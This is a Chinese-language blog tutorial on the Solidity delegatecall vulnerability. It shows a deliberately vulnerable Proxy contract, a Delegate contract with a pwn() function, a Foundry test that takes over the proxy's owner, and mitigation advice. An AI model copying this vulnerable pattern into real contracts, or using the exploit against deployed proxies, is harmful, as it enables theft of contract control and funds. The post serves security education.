名称:Delegatecall漏洞

描述:

代理合约所有者操纵漏洞,是智能合约设计中的一个缺陷,允许攻击者操纵代理合约所有者。该漏洞允许攻击者操纵代理合约的所有者(这里我们把所有者硬编码为 0xdeadbeef)。漏洞产生的原因是在代理合约的回退函数中使用了 delegatecall。delegatecall 允许攻击者在代理合约的上下文中调用代理合约的 pwn() 函数,从而更改代理合约的所有者状态变量的值。

过程:

  • 分别部署 Delegate合约和Proxy合约;
  • 攻击者 Alice调用 Proxyfallback函数,成功将 Proxy合约中的 owner 改成自己。

        Alice去调用 Proxy.pwn() ,发现 Proxy合约中并没有 pwn 函数,此时触发 HackMe.fallback() ,Proxy.fallback() 又使用 deldegatecall 调用 Delegate合约中的函数,函数名取得是 msg.data 也就是 "pwn()",而 Delegate合约中恰好有名为 pwn 的函数,该函数的作用是将合约中的 owner 修改为 msg.sender。delegatecall 函数的执行环境是调用者的环境,并且对于 storage 变量的修改是根据被调用的合约的插槽位置来修改的。

解决方法:

在使用 delegatecall 时应注意被调用合约的地址不能是可控的;

在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调时会根据被调用合约的数据结构来用修改本合约相应 slot 中存储的数据,在数据结构发生变化时这可能会造成非预期的变量覆盖。

proxy合约:

contract Proxy {
    address public owner = address(0xdeadbeef); // slot0
    Delegate delegate;

    constructor(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
    }

    fallback() external {
        (bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerable
        require(suc, "Delegatecall failed");
    }
}

Delegate:

contract Delegate {
    // The owner of the contract.
    address public owner; // slot0

    // The pwn function, which sets the owner of the contract to the message sender.
    function pwn() public {
        owner = msg.sender;
    }
}

foundry测试代码:

// Test function for a scenario where delegatecall is used.
function testDelegatecall() public {
    // Initialize a new Delegate contract, which is the "logic contract".
    DelegateContract = new Delegate(); 
    // Initialize a new Proxy contract, passing the address of the Delegate contract to its constructor. This is the "proxy contract".
    proxy = new Proxy(address(DelegateContract)); 

    // Log Alice's address.
    console.log("Alice address", alice);
    // Log the owner of the Proxy contract.
    console.log("DelegationContract owner", proxy.owner());

    // Log the start of the operation to change the owner of the Proxy contract.
    console.log("Change DelegationContract owner to Alice...");
    // Set the message sender to Alice.
    vm.prank(alice);
    // Call the pwn function of the Delegate contract through a delegatecall. This is the exploit.
    address(proxy).call(abi.encodeWithSignature("pwn()")); 
    // Proxy.fallback() will delegatecall Delegate.pwn(), making Alice the owner of the Proxy contract.

    // Log the new owner of the Proxy contract.
    console.log("DelegationContract owner", proxy.owner());
    // Log the completion of the exploit.
    console.log(
        "Exploit completed, proxy contract storage has been manipulated"
    );
}

// The Delegate contract, which contains the code that can be called via delegatecall.
contract Delegate {
    // The owner of the contract.
    address public owner; // slot0

    // The pwn function, which sets the owner of the contract to the message sender.
    function pwn() public {
        owner = msg.sender;
    }
}

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部